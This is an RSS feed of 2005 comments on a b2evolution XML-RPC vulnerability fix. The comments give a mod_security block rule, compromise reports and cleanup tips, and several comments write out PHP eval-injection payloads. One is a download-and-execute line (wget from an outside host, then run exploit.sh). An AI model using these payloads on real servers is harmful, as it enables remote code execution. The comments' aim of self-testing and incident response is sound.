<?xml version="1.0" encoding="iso-8859-1"?><!-- generator="b2evolution/4.0.0-alpha" -->
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:admin="http://webns.net/mvcb/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
		<title>b2evolution News - Latest Comments on Fix for XML-RPC vulnerability (again!)</title>
		<link>http://b2evolution.net/news/?disp=comments</link>
		<atom:link rel="self" type="application/rss+xml" href="http://b2evolution.net/news/?tempskin=_rss2&#38;disp=comments&#38;p=65102" />
		<description></description>
		<language>en-EU</language>
		<docs>http://backend.userland.com/rss</docs>
		<admin:generatorAgent rdf:resource="http://b2evolution.net/?v=4.0.0-alpha"/>
		<ttl>60</ttl>
				<item>
			<title>StevensF [Visitor] in response to: Fix for XML-RPC vulnerability (again!)</title>
			<pubDate>Thu, 24 Nov 2005 18:58:17 +0000</pubDate>
			<dc:creator>StevensF [Visitor]</dc:creator>
			<guid isPermaLink="false">c7232@http://b2evolution.net/</guid>
			<description>Keep on the good work.&lt;br /&gt;
 </description>
			<content:encoded><![CDATA[Keep on the good work.<br />
 ]]></content:encoded>
			<link>http://b2evolution.net/news/2005/08/31/fix_for_xml_rpc_vulnerability_again_1#c7232</link>
		</item>
				<item>
			<title>jwedgeco [Member] in response to: Fix for XML-RPC vulnerability (again!)</title>
			<pubDate>Wed, 12 Oct 2005 10:37:31 +0000</pubDate>
			<dc:creator>jwedgeco [Member]</dc:creator>
			<guid isPermaLink="false">c5200@http://b2evolution.net/</guid>
			<description>If you can&#039;t patch or are extra paranoid, try this mod_security rule&lt;br /&gt;
&lt;br /&gt;
# block access to b2evolutions xml interface&lt;br /&gt;
SecFilterSelective REQUEST_URI &quot;/blogs/xmlsrv/xmlrpc.php&quot;&lt;br /&gt;
</description>
			<content:encoded><![CDATA[If you can't patch or are extra paranoid, try this mod_security rule<br />
<br />
# block access to b2evolutions xml interface<br />
SecFilterSelective REQUEST_URI "/blogs/xmlsrv/xmlrpc.php"<br />
]]></content:encoded>
			<link>http://b2evolution.net/news/2005/08/31/fix_for_xml_rpc_vulnerability_again_1#c5200</link>
		</item>
				<item>
			<title>Enric Naval [Visitor] in response to: Fix for XML-RPC vulnerability (again!)</title>
			<pubDate>Fri, 16 Sep 2005 11:58:57 +0000</pubDate>
			<dc:creator>Enric Naval [Visitor]</dc:creator>
			<guid isPermaLink="false">c4580@http://b2evolution.net/</guid>
			<description>(continues)&lt;br /&gt;
&lt;br /&gt;
I don&#039;t know the variable that was used for the exploit, but if you ever get to know its name then you can attempt to hack your unpatched weblog using this. Replace &quot;var_name&quot; and &quot;weblog_url&quot;. That&#039;s &lt;b&gt;your&lt;/b&gt; unpatched weblog, not &lt;b&gt;an&lt;/b&gt; &lt;img src=&quot;http://b2evolution.net/rsc/smilies/icon_smile.gif&quot; title=&quot;:)&quot; alt=&quot;:)&quot; class=&quot;middle&quot; width=&quot;15&quot; height=&quot;15&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
(you have to escape the single quotes for &quot;echo&quot; to work)&lt;br /&gt;
&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
echo &#039;&lt;br /&gt;
var_name=,\&#039;\&#039;);echo \&#039;I got hacked.\&#039;;exit;/*&lt;br /&gt;
---&lt;br /&gt;
&#039; | lynx -post_data weblog_url/xmlsrv/xmlrpc.php &lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
And of course:&lt;br /&gt;
&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
echo &#039;&lt;br /&gt;
var_name=,\&#039;\&#039;);echo \&#039;Hello, world.\&#039;;mail(root,\&#039;p0wned!\&#039;,\&#039;Patch b2evolution for XML-RPC.\&#039;);exit;/*&lt;br /&gt;
---&lt;br /&gt;
&#039; | lynx -post_data weblog_url/xmlsrv/xmlrpc.php &lt;br /&gt;
&lt;/code&gt; </description>
			<content:encoded><![CDATA[(continues)<br />
<br />
I don't know the variable that was used for the exploit, but if you ever get to know its name then you can attempt to hack your unpatched weblog using this. Replace "var_name" and "weblog_url". That's <b>your</b> unpatched weblog, not <b>an</b> <img src="http://b2evolution.net/rsc/smilies/icon_smile.gif" title=":)" alt=":)" class="middle" width="15" height="15" /><br />
<br />
(you have to escape the single quotes for "echo" to work)<br />
<br />
<code><br />
echo '<br />
var_name=,\'\');echo \'I got hacked.\';exit;/*<br />
---<br />
' | lynx -post_data weblog_url/xmlsrv/xmlrpc.php <br />
</code><br />
<br />
And of course:<br />
<br />
<code><br />
echo '<br />
var_name=,\'\');echo \'Hello, world.\';mail(root,\'p0wned!\',\'Patch b2evolution for XML-RPC.\');exit;/*<br />
---<br />
' | lynx -post_data weblog_url/xmlsrv/xmlrpc.php <br />
</code> ]]></content:encoded>
			<link>http://b2evolution.net/news/2005/08/31/fix_for_xml_rpc_vulnerability_again_1#c4580</link>
		</item>
				<item>
			<title>Enric Naval [Visitor] in response to: Fix for XML-RPC vulnerability (again!)</title>
			<pubDate>Fri, 16 Sep 2005 11:56:56 +0000</pubDate>
			<dc:creator>Enric Naval [Visitor]</dc:creator>
			<guid isPermaLink="false">c4579@http://b2evolution.net/</guid>
			<description>So, my hacker, as seen in former posts, probably used a query string like this :&lt;br /&gt;
&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
var=,&#039;&#039;)); system(&#039;wget linuxgods\.go\.ro/local\.tgz; tar -xzf local.tgz /tmp; nohup /tmp/local/exploit.sh&amp;amp;;&#039;);exit;/*&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
Download the program, uncompress and execute in background using nohup so the program will continue running after its father (the PHP page) has died.&lt;br /&gt;
</description>
			<content:encoded><![CDATA[So, my hacker, as seen in former posts, probably used a query string like this :<br />
<br />
<code><br />
var=,'')); system('wget linuxgods\.go\.ro/local\.tgz; tar -xzf local.tgz /tmp; nohup /tmp/local/exploit.sh&amp;;');exit;/*<br />
</code><br />
<br />
Download the program, uncompress and execute in background using nohup so the program will continue running after its father (the PHP page) has died.<br />
]]></content:encoded>
			<link>http://b2evolution.net/news/2005/08/31/fix_for_xml_rpc_vulnerability_again_1#c4579</link>
		</item>
				<item>
			<title>Enric Naval [Visitor] in response to: Fix for XML-RPC vulnerability (again!)</title>
			<pubDate>Fri, 16 Sep 2005 11:38:31 +0000</pubDate>
			<dc:creator>Enric Naval [Visitor]</dc:creator>
			<guid isPermaLink="false">c4577@http://b2evolution.net/</guid>
			<description>According to the explanation for the XML-RPC exploit, the problem is that they use eval() in data extracted from  $HTTP_RAW_POST_DATA. &lt;br /&gt;
&lt;br /&gt;
Gulf Tech report of XML-RPC vulnerability&lt;br /&gt;
&lt;br /&gt;
They say the problem is that magic_quotes_gpc() isn&#039;t applied to $HTTP_RAW_POST_DATA, so you can POST a parameter containing a single quote.&lt;br /&gt;
&lt;br /&gt;
This single quote, which was not escaped using magic_quotes_gpc(), allows you to end a string with the single quote, add a semicolon &quot;;&quot; to end the actual statement and execute whatever code you fancy.&lt;br /&gt;
&lt;br /&gt;
So, for example, if you know that the page is reading the variable &quot;var&quot; from the raw POST, you can send this query string.&lt;br /&gt;
&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
var=,&#039;&#039;)); phpinfo(); exit;/*&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
In this case, I believe that &quot;,&#039;&#039;));&quot; finishes correctly the actual call to eval. Everything after the semicolon will be then executed by the server as if it was code in the PHP page.&lt;br /&gt;
&lt;br /&gt;
&quot;phpinfo();&quot; This executes phpinfo() &lt;br /&gt;
&quot;exit;&quot;  This exits the PHP page.&lt;br /&gt;
&quot;/*&quot;   and then it comments the rest of the code, so it won&#039;t execute and won&#039;t dump error to some log.&lt;br /&gt;
&lt;br /&gt;
(I will continue later, I have problems posting)</description>
			<content:encoded><![CDATA[According to the explanation for the XML-RPC exploit, the problem is that they use eval() in data extracted from  $HTTP_RAW_POST_DATA. <br />
<br />
Gulf Tech report of XML-RPC vulnerability<br />
<br />
They say the problem is that magic_quotes_gpc() isn't applied to $HTTP_RAW_POST_DATA, so you can POST a parameter containing a single quote.<br />
<br />
This single quote, which was not escaped using magic_quotes_gpc(), allows you to end a string with the single quote, add a semicolon ";" to end the actual statement and execute whatever code you fancy.<br />
<br />
So, for example, if you know that the page is reading the variable "var" from the raw POST, you can send this query string.<br />
<br />
<code><br />
var=,'')); phpinfo(); exit;/*<br />
</code><br />
<br />
In this case, I believe that ",''));" finishes correctly the actual call to eval. Everything after the semicolon will be then executed by the server as if it was code in the PHP page.<br />
<br />
"phpinfo();" This executes phpinfo() <br />
"exit;"  This exits the PHP page.<br />
"/*"   and then it comments the rest of the code, so it won't execute and won't dump error to some log.<br />
<br />
(I will continue later, I have problems posting)]]></content:encoded>
			<link>http://b2evolution.net/news/2005/08/31/fix_for_xml_rpc_vulnerability_again_1#c4577</link>
		</item>
				<item>
			<title>Lenwood [Visitor] in response to: Fix for XML-RPC vulnerability (again!)</title>
			<pubDate>Mon, 05 Sep 2005 03:43:40 +0000</pubDate>
			<dc:creator>Lenwood [Visitor]</dc:creator>
			<guid isPermaLink="false">c4393@http://b2evolution.net/</guid>
			<description>Can someone explain how to test this properly?&lt;br /&gt;
&lt;br /&gt;
Thanks,&lt;br /&gt;
Chris</description>
			<content:encoded><![CDATA[Can someone explain how to test this properly?<br />
<br />
Thanks,<br />
Chris]]></content:encoded>
			<link>http://b2evolution.net/news/2005/08/31/fix_for_xml_rpc_vulnerability_again_1#c4393</link>
		</item>
				<item>
			<title>wrabbit [Member] in response to: Fix for XML-RPC vulnerability (again!)</title>
			<pubDate>Sat, 03 Sep 2005 19:04:30 +0000</pubDate>
			<dc:creator>wrabbit [Member]</dc:creator>
			<guid isPermaLink="false">c4278@http://b2evolution.net/</guid>
			<description>Yeah, they just got me yesterday.  Someone used it to upload a mail-sending PHP script, which they used to send out paypal scam emails.  My host disabled my site until I was able to figure out how it happened.</description>
			<content:encoded><![CDATA[Yeah, they just got me yesterday.  Someone used it to upload a mail-sending PHP script, which they used to send out paypal scam emails.  My host disabled my site until I was able to figure out how it happened.]]></content:encoded>
			<link>http://b2evolution.net/news/2005/08/31/fix_for_xml_rpc_vulnerability_again_1#c4278</link>
		</item>
				<item>
			<title>Enric Naval [Visitor] in response to: Fix for XML-RPC vulnerability (again!)</title>
			<pubDate>Sat, 03 Sep 2005 13:06:35 +0000</pubDate>
			<dc:creator>Enric Naval [Visitor]</dc:creator>
			<guid isPermaLink="false">c4230@http://b2evolution.net/</guid>
			<description>note: I knew the hacking program hadn&#039;t made anything harmful because I looked at ethereal and at the tcpdump output, and there were only the usual traffic plus the IRC connections. I actually executed the program myself to see what it did in the ethereal screen!&lt;br /&gt;
&lt;br /&gt;
note: I just found a hacking program in /tmp, seems the hacker managed to download the program, but couldn&#039;t execute it. If you have had visitors to your xmlrpc file in access_log, and of you run apache as user &quot;apache&quot;, look for strange directories in &quot;/tmp&quot; and &quot;/var/tmp&quot; and read this message. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The last time I found the downloaded program binaries here:&lt;br /&gt;
&lt;br /&gt;
/tmp/ /.zbind   &lt;br /&gt;
&lt;br /&gt;
/var/tmp/ /.zbind  &lt;br /&gt;
&lt;br /&gt;
Notice the directory name is a single space. Notice the dot causes the directory not to be displayed when doing &quot;ls -l&quot;.&lt;br /&gt;
&lt;br /&gt;
I had to delete the directory like this:&lt;br /&gt;
&lt;br /&gt;
rm &quot;/tmp/ &quot;&lt;br /&gt;
&lt;br /&gt;
To enter the directory&lt;br /&gt;
&lt;br /&gt;
cd &quot;/tmp/ &quot;&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
cd /tmp&lt;br /&gt;
cd &quot; &quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Well, that&#039;s all. Good luck with your servers.</description>
			<content:encoded><![CDATA[note: I knew the hacking program hadn't made anything harmful because I looked at ethereal and at the tcpdump output, and there were only the usual traffic plus the IRC connections. I actually executed the program myself to see what it did in the ethereal screen!<br />
<br />
note: I just found a hacking program in /tmp, seems the hacker managed to download the program, but couldn't execute it. If you have had visitors to your xmlrpc file in access_log, and of you run apache as user "apache", look for strange directories in "/tmp" and "/var/tmp" and read this message. <br />
<br />
<br />
The last time I found the downloaded program binaries here:<br />
<br />
/tmp/ /.zbind   <br />
<br />
/var/tmp/ /.zbind  <br />
<br />
Notice the directory name is a single space. Notice the dot causes the directory not to be displayed when doing "ls -l".<br />
<br />
I had to delete the directory like this:<br />
<br />
rm "/tmp/ "<br />
<br />
To enter the directory<br />
<br />
cd "/tmp/ "<br />
<br />
or<br />
<br />
cd /tmp<br />
cd " "<br />
<br />
<br />
Well, that's all. Good luck with your servers.]]></content:encoded>
			<link>http://b2evolution.net/news/2005/08/31/fix_for_xml_rpc_vulnerability_again_1#c4230</link>
		</item>
			</channel>
</rss>
